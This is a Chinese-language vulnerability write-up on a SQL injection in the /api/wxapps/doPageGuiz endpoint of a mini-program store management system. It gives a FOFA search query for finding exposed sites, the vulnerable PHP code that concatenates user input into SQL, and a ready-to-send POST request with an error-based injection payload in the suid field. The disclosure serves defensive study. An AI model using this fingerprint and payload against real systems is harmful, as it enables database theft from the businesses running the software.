万能门店小程序管理系统 /api/wxapps/doPageGuiz SQL 注入漏洞


漏洞简介

万能门店小程序管理系统是一款功能强大的工具,旨在为各行业商家提供线上线下融合的全方位解决方案。是一个集成了会员管理和会员营销两大核心功能的综合性平台。它支持多行业使用,通过后台一键切换版本,满足不同行业商家的个性化需求。该系统采用轻量后台,搭载高效服务器,确保小程序运行流畅,提升用户体验。万能门店小程序管理系统 /api/wxapps/doPageGuiz 存在 SQL 注入漏洞,攻击者可通过该漏洞获取数据库中的敏感信息,甚至可能进一步控制服务器。

影响版本

万能门店小程序全开源独立版V5.2.0

fofa语法

body="/new_plat/index.html#/login" || (body="/comhome/cases/index.html" && body="/Comhome/functionshow/index.html")

漏洞分析

application/api/controller/Wxapps.php

public function doPageGuiz()
    {
        $uniacid = input("uniacid");
        $suid = input('suid');
        $guize['list'] = Db::name('wd_xcx_recharge')->where("uniacid", $uniacid)->order("money asc")->select();
        foreach ($guize['list'] as $k => &$v) {
            $v['allmoney'] = round($v['money'] + $v['getmoney'], 2);
            $v['coupon_num'] = 0;
            if ($v['coupon_con']) {
                $coupon_con = unserialize($v['coupon_con']);
                foreach ($coupon_con as $key => &$value) {
                    $v['coupon_num'] += $value['coupon_num'];
                }
            }
        }
        $conf = Db::name('wd_xcx_rechargeconf')->where("uniacid", $uniacid)->find();
        if (!$conf) {
            $conf = [
                'score_shoppay' => 0
            ];
        }
        $guize['conf'] = $conf;
        if ($suid) {
            $guize['user'] = Db::name('wd_xcx_superuser')->where("uniacid", $uniacid)->where("id", $suid)->field('money,score,uniacid,id')->find();
        } else {
            $guize['user'] = [
                'money' => 0,
                'score' => 0
            ];
        }

        if ($suid) {
            $tiaojian = " and flag <> 2 and flag = 0";
            $prefix = config('database.prefix');
            $yhqsold = Db::query("select * from {$prefix}wd_xcx_coupon_user where uniacid = " . $uniacid . " and suid = " . $suid . $tiaojian . " ORDER BY id desc");
            $time = time();
            // $aa = [];
            foreach ($yhqsold as $key => &$resi) {
                // $arrs = Db::name('wd_xcx_coupon')->where("uniacid", $uniacid)->where("id", $resi['cid'])->find();
                // if ($arrs['btime'] != 0) {
                //     $arrs['btime'] = date("Y-m-d", $arrs['btime']);
                // }
                // if ($arrs['etime'] != 0) {
                //     if ($time > $arrs['etime'] && $resi['flag'] == 0) {
                //         $kdata = array(
                //             "flag" => 2
                //         );
                //         Db::name('wd_xcx_coupon_user')->where("id", $resi['id'])->update($kdata);
                //     }
                //     $arrs['etime'] = date("Y-m-d", $arrs['etime']);
                // }
                if ($resi['etime'] != 0) {
                    if ($time > $resi['etime'] && $resi['flag'] == 0) {
                        $kdata = array(
                            "flag" => 2
                        );
                        Db::name('wd_xcx_coupon_user')->where("id", $resi['id'])->update($kdata);
                    }
                }
            }
        }

        $guize['coupon'] = Db::name('wd_xcx_superuser')->alias("a")->join("wd_xcx_coupon_user b", "a.id = b.suid")->where("a.uniacid", $uniacid)->where("a.id", $suid)->where("b.flag", 0)->field('b.*')->select();
        foreach ($guize['coupon'] as $ksi => $vsi) {
            if ($vsi['use_type'] == 1) {
                if (strstr($vsi['use_class'], 'gpay') === false) {//不存在
                    unset($guize['coupon'][$ksi]);
                }
            }
        }
        $adata['data'] = $guize;
        return json_encode($adata);
    }

代码中使用了 input("uniacid") 和 input("suid") 来接收请求参数。这两个变量的值均来自用户输入

  • 在代码中,大部分数据库操作都是通过 ThinkPHP 的链式查询完成的,比如:
    • Db::name('wd_xcx_recharge')->where("uniacid", $uniacid)->order("money asc")->select();
    • Db::name('wd_xcx_rechargeconf')->where("uniacid", $uniacid)->find();
    • Db::name('wd_xcx_superuser')->where("uniacid", $uniacid)->where("id", $suid)->field('money,score,uniacid,id')->find();
    • 以及最后的联表查询
  • 这些方法默认会对传入的数据进行参数绑定和预处理,从而较为安全,不容易受到 SQL 注入攻击。

存在漏洞的部分在于下面这段代码:

if ($suid) {
    $tiaojian = " and flag <> 2 and flag = 0";
    $prefix = config('database.prefix');
    $yhqsold = Db::query("select * from {$prefix}wd_xcx_coupon_user where uniacid = " . $uniacid . " and suid = " . $suid . $tiaojian . " ORDER BY id desc");
    // ...后续处理
}
  • 关键问题在于:
    • 将变量 $uniacid 和 $suid(直接来自用户输入)通过字符串拼接的方式嵌入到了 SQL 语句中。
    • SQL 语句的构造过程没有任何额外的过滤、转义或参数绑定,完全依赖用户输入的值组成 SQL 命令。

这就造成最终的SQL注入漏洞。

漏洞复现

POST /api/wxapps/doPageGuiz HTTP/1.1
Host: wxapps.mrxn.net
Content-Type: application/x-www-form-urlencoded

uniacid=1&suid=1+AND+GTID_SUBSET(CONCAT((SELECT(md5(123456)))),3119)%23


手机扫码阅读

用友NC oauidesigner/getMdPropertyJson sql注入漏洞

IBOS企业协同管理软件 main/api/OrgUser SQL注入漏洞

评 论